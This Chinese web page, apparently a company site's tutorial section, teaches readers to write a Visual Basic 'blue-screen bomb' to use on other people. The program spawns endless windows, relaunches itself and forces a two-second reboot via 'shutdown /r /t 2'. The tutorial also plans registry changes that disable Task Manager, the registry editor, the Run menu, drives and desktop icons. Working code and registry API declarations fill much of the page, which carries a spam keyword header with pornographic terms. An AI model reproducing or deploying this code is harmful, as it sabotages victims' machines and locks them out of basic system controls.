欧美激情网,国产欧美亚洲高清,欧美屁股xxxxx,欧美群妇大交群,欧美人与物ⅴideos另类,区二区三区在线 | 欧洲

知識學堂
  • ·聯(lián)系電話:+86.023-75585550
  • ·聯(lián)系傳真:+86.023-75585550
  • ·24小時手機:13896886023
  • ·QQ 咨 詢：361652718 513960520
當前位置 > 首頁 > 知識學堂 > 常見技術問題
看黑客怎么編寫強力藍屏炸彈
更新時間：2012-06-10 | 發(fā)布人：本站 | 點擊率：599 次

一、彈要實現(xiàn)的功能

既然是炸彈，那當然要寫的厲害些，首先就要像很久以前那個網(wǎng)頁炸彈一樣，彈出無數(shù)個窗口，這個功能是給別人打馬虎眼的，讓他一心想著去阻止炸彈繼續(xù)的彈出窗口；第二個功能是專門針對windows XP而做的，當然也是在2004年第12期黑防雜志上看到的---自動重啟計算機（如圖1），

那么下一項就是讓每一個人都感到郁悶的事---修改注冊表。我今天教大家寫的炸彈實現(xiàn)的功能大部分還是靠注冊表，主要的功能還是要禁止中招的人打開任務管理器，禁止使用注冊表，隱藏桌面所有圖標，禁止使用開始菜單里面的運行，搜索，關機，屏蔽ctrl+alt+del里的內(nèi)容，禁止使用IE瀏覽器里的所有屬性，屏蔽C盤，D盤等盤，這樣的結(jié)果看上去一定很可怕，如果我們屏蔽右鍵或者加那么一點點的代碼設成開機自動運行，那后果會是什么樣的就可想而知了吧？

二、代碼實現(xiàn)

下面讓我們打開VB編譯器，在窗體上面加3個timer控件，然后Interval屬性設得盡量小點，該屬性1000為1秒，我的設成了6，這樣在一秒就會談出上百個窗口了。

實現(xiàn)代碼如下：

Private Sub Timer1_Timer（）

Dim a As New Form1 ‘聲明以后出現(xiàn)a就是代表Form1

a.Show ‘Form1彈出

End Sub

Private Sub Timer2_Timer（）

Shell App.EXEName ‘運行這個軟件的本身

End Sub

然后隱藏窗體本身，書縣代碼如下：

Private Sub Form_Load（）

Me.Hide

End Sub

那么在XP里自動關機是怎么回事呢？這個就是一個命令就能搞定的（shutdown /r /t 2），就是說，重新啟動計算機的倒計時是2秒，這樣中招的人就沒有辦法停止我們的shutdown了，其實到這里就可以算是一個有趣的惡作劇了。實現(xiàn)代碼如下：

Private Sub Timer3_Timer（）

Shell （"cmd.exe /c shutdown /r /t 2"） ‘調(diào)用cmd 然后在cmd里輸入shutdown /r /t 2就是說設倒計時時間限制為2秒

End Sub

下面說說修改注冊表吧，既然要修改注冊表，那我們怎么能不調(diào)用API呢？當然，曾經(jīng)在電腦報里也有說不用API就能讀寫注冊表的，但是我想還是讓大家用API吧，畢竟API接觸多了是件好事。那么就讓我來教大家條用API來簡便的修改注冊表吧，我們先來建一個模塊，在里面加入代碼：

Declare Function RegCloseKey Lib "advapi32.dll" （ByVal hKey As Long） As Long ‘這是調(diào)用API函數(shù)來關閉注冊表

Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" （ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long） As Long ‘這是調(diào)用AP函數(shù)在注冊表里創(chuàng)建一個鍵

Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" （ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long） As Long ‘這是調(diào)用api函數(shù)打開注冊表

Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" （ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long） As Long

Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" （ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Long, lpcbData As Long） As Long

Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" （ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As Long, lpcbData As Long） As Long

Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" （ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long） As Long ‘調(diào)用API來設置注冊表里的鍵名

Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" （ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long） As Long

Private Declare Function RegDeleteKey& Lib "advapi32.dll" Alias "RegDeleteKeyA" （ByVal hKey As Long, ByVal lpSubKey As String） ‘調(diào)用API刪除注冊表里的的鍵

Private Declare Function RegDeleteValue& Lib "advapi32.dll" Alias "RegDeleteValueA" （ByVal hKey As Long, ByVal lpValueName As String） ‘調(diào)用API刪除注冊表里的的鍵值

相關文章